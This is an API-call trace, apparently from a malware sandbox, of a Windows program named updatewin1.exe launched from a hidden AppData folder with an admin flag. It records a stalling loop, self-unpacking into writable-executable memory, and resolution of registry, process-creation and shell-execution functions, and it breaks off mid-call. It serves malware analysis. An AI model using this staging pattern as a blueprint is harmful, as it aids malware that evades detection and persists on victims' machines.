0 [0049.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.389] AddAtomA (lpString=0x0) returned 0x0 [0049.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.389] AddAtomA (lpString=0x0) returned 0x0 [0049.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.389] AddAtomA (lpString=0x0) returned 0x0 [0049.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.389] AddAtomA (lpString=0x0) returned 0x0 [0049.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.389] AddAtomA (lpString=0x0) returned 0x0 [0049.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.389] AddAtomA (lpString=0x0) returned 0x0 [0049.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.389] AddAtomA (lpString=0x0) returned 0x0 [0049.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.389] AddAtomA (lpString=0x0) returned 0x0 [0049.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.389] AddAtomA (lpString=0x0) returned 0x0 [0049.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.390] AddAtomA (lpString=0x0) returned 0x0 [0049.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.390] AddAtomA (lpString=0x0) returned 0x0 [0049.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.390] AddAtomA (lpString=0x0) returned 0x0 [0049.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.390] AddAtomA (lpString=0x0) returned 0x0 [0049.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.390] AddAtomA (lpString=0x0) returned 0x0 [0049.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.390] AddAtomA (lpString=0x0) returned 0x0 [0049.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.390] AddAtomA (lpString=0x0) returned 0x0 [0049.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.390] AddAtomA (lpString=0x0) returned 0x0 [0049.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.390] AddAtomA (lpString=0x0) returned 0x0 [0049.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.390] AddAtomA (lpString=0x0) returned 0x0 [0049.390] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.390] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.390] AddAtomA (lpString=0x0) returned 0x0 [0049.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.391] AddAtomA (lpString=0x0) returned 0x0 [0049.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.391] AddAtomA (lpString=0x0) returned 0x0 [0049.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.391] AddAtomA (lpString=0x0) returned 0x0 [0049.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.391] AddAtomA (lpString=0x0) returned 0x0 [0049.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.391] AddAtomA (lpString=0x0) returned 0x0 [0049.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.391] AddAtomA (lpString=0x0) returned 0x0 [0049.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.391] AddAtomA (lpString=0x0) returned 0x0 [0049.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.391] AddAtomA (lpString=0x0) returned 0x0 [0049.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.391] AddAtomA (lpString=0x0) returned 0x0 [0049.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.391] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.391] AddAtomA (lpString=0x0) returned 0x0 [0049.391] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.392] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.392] AddAtomA (lpString=0x0) returned 0x0 [0049.392] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.392] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.392] AddAtomA (lpString=0x0) returned 0x0 [0049.392] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.392] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.392] AddAtomA (lpString=0x0) returned 0x0 [0049.392] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.392] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.457] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0049.457] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0049.457] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0049.464] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0049.464] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0049.464] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0049.465] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0049.465] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0049.465] SetErrorMode (uMode=0x400) returned 0x0 [0049.465] SetErrorMode (uMode=0x0) returned 0x400 [0049.465] GetVersionExA (in: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0049.465] VirtualAlloc (lpAddress=0x0, dwSize=0x2d200, flAllocationType=0x1000, flProtect=0x4) returned 0x1a0000 [0049.468] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5d8 | out: lpflOldProtect=0x18f5d8*=0x2) returned 1 [0049.547] VirtualFree (lpAddress=0x1a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0049.548] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0049.548] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0049.548] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0049.549] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0049.549] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0049.549] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0049.549] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0049.549] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0049.549] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0049.549] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0049.549] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0049.549] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0049.549] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0049.549] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0049.549] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0049.549] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0049.549] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0049.550] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0049.550] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0049.550] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0049.550] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0049.550] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0049.550] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0049.550] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0049.550] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0049.551] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0049.551] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0049.551] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0049.551] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0049.551] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0049.551] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0049.551] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0049.551] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0049.551] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0049.551] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0049.551] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0049.551] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0049.551] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0049.551] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0049.551] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0049.552] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0049.552] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0049.552] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0049.552] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0049.552] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0049.552] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0049.552] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0049.552] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0049.552] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0049.552] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0049.552] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0049.552] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0049.552] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0049.552] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0049.552] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.553] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0049.553] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0049.553] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0049.553] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0049.553] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0049.553] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0049.553] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0049.553] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0049.553] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0049.553] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0049.553] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0049.553] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0049.553] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0049.553] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0049.553] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0049.554] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0049.554] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0049.554] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0049.554] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0049.554] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0049.554] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0049.554] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0049.554] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0049.554] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0049.554] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0049.554] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0049.554] GetProcAddress (hModule=0x74d40000, lpProcName="SetSecurityDescriptorDacl") returned 0x74d5415e [0049.554] GetProcAddress (hModule=0x74d40000, lpProcName="InitializeSecurityDescriptor") returned 0x74d54620 [0049.554] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0049.554] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0049.555] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0049.555] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0049.555] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0049.555] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0049.555] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0049.555] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0049.555] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0049.555] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749b0000 [0049.558] GetProcAddress (hModule=0x749b0000, lpProcName="atexit") returned 0x749cc544 [0049.558] atexit (param_1=0x2b63e0) returned 0 [0049.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5dc | out: lpSystemTimeAsFileTime=0x18f5dc*(dwLowDateTime=0xe6bd0f0, dwHighDateTime=0x1d53559)) [0049.558] GetCurrentThreadId () returned 0x358 [0049.558] GetCurrentProcessId () returned 0x7fc [0049.558] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5d4 | out: lpPerformanceCount=0x18f5d4*=16982197565) returned 1 [0049.559] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0049.559] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.559] GetLastError () returned 0x57 [0049.559] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.559] GetLastError () returned 0x57 [0049.559] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0049.559] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0049.559] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.559] GetLastError () returned 0x57 [0049.559] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0049.559] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0049.559] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.559] GetLastError () returned 0x57 [0049.559] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.559] GetLastError () returned 0x57 [0049.559] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0049.559] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0049.560] GetProcessHeap () returned 0x2a0000 [0049.560] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.560] GetLastError () returned 0x57 [0049.560] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0049.560] GetLastError () returned 0x57 [0049.560] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0049.560] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0049.560] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x364) returned 0x2ca9f0 [0049.560] SetLastError (dwErrCode=0x57) [0049.560] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xc00) returned 0x2cad60 [0049.561] GetStartupInfoW (in: lpStartupInfo=0x18f510 | out: lpStartupInfo=0x18f510*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033b0, hStdOutput=0xfbd0811f, hStdError=0xfffffffe)) [0049.562] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0049.562] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0049.562] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0049.562] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe\" --Admin" [0049.562] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe\" --Admin" [0049.562] GetACP () returned 0x4e4 [0049.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x220) returned 0x2c9eb0 [0049.562] IsValidCodePage (CodePage=0x4e4) returned 1 [0049.562] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f530 | out: lpCPInfo=0x18f530) returned 1 [0049.562] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edf8 | out: lpCPInfo=0x18edf8) returned 1 [0049.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0049.562] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ee0c | out: lpCharType=0x18ee0c) returned 1 [0049.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā") returned 256 [0049.562] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.562] GetLastError () returned 0x57 [0049.562] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0049.562] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.562] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 